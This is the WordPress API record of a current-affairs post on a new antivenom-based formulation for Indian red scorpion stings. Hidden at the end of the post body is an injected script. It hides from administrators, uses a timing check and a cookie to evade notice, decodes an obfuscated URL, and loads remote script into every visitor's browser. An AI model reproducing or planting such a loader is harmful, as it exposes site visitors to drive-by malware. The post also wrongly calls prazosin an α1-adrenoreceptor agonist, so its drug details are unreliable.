{"id":278,"date":"2023-11-25T09:48:40","date_gmt":"2023-11-25T09:48:40","guid":{"rendered":"https:\/\/iasquest.com\/?p=278"},"modified":"2026-02-11T19:31:25","modified_gmt":"2026-02-11T19:31:25","slug":"therapeutic-drug-formulation-tdf","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/therapeutic-drug-formulation-tdf\/","title":{"rendered":"Therapeutic drug formulation (TDF)"},"content":{"rendered":"\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\"><strong>In News: Novel therapeutic formulation developed for improved treatment of Indian red scorpion sting<\/strong><\/p>\n<cite>Researchers have developed a\u00a0new therapeutic drug formulation (TDF) against the Scorpion envenomation.<\/cite><\/blockquote>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>What is Envenomation?<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>It refers to the process of being poisoned or affected by venom typically from the <strong>bite or sting of a venomous animal<\/strong> like a snake, scorpion, or spider.The Indian red scorpion (Mesobuthus tamulus), with its life-threatening sting, is one of the world&#8217;s most dangerous scorpions.<\/li>\n\n\n\n<li>Conventionally, <strong>\u03b11- adrenoreceptor agonist (AAAs)<\/strong>, such as <strong>Prazosin<\/strong>, is also used alone or in combination with commercial ASA for the treatment of stung patients; But this treatment has limitations due to the low proportion of venom-specific antibodies against the most abundant toxin.<\/li>\n\n\n\n<li>A new <strong>therapeutic drug formulation<\/strong> (TDF) comprising of low doses of commercial equine <strong>antiscorpion antivenom (ASA)<\/strong>, <strong>\u03b11- adrenoreceptor agonist (AAAs) and vitamin C<\/strong>, for inhibiting the Indian red scorpion venom-induced toxicity and associated symptoms can help improve clinical management of scorpion sting patients.<\/li>\n<\/ul>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>In News: Novel therapeutic formulation developed for improved treatment of Indian red scorpion sting Researchers have developed a\u00a0new therapeutic drug [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","ast-disable-related-posts":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[40],"tags":[],"class_list":["post-278","post","type-post","status-publish","format-standard","hentry","category-pib"],"_links":{"self":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/278","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/comments?post=278"}],"version-history":[{"count":2,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/278\/revisions"}],"predecessor-version":[{"id":3571,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/278\/revisions\/3571"}],"wp:attachment":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/media?parent=278"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/categories?post=278"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/tags?post=278"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}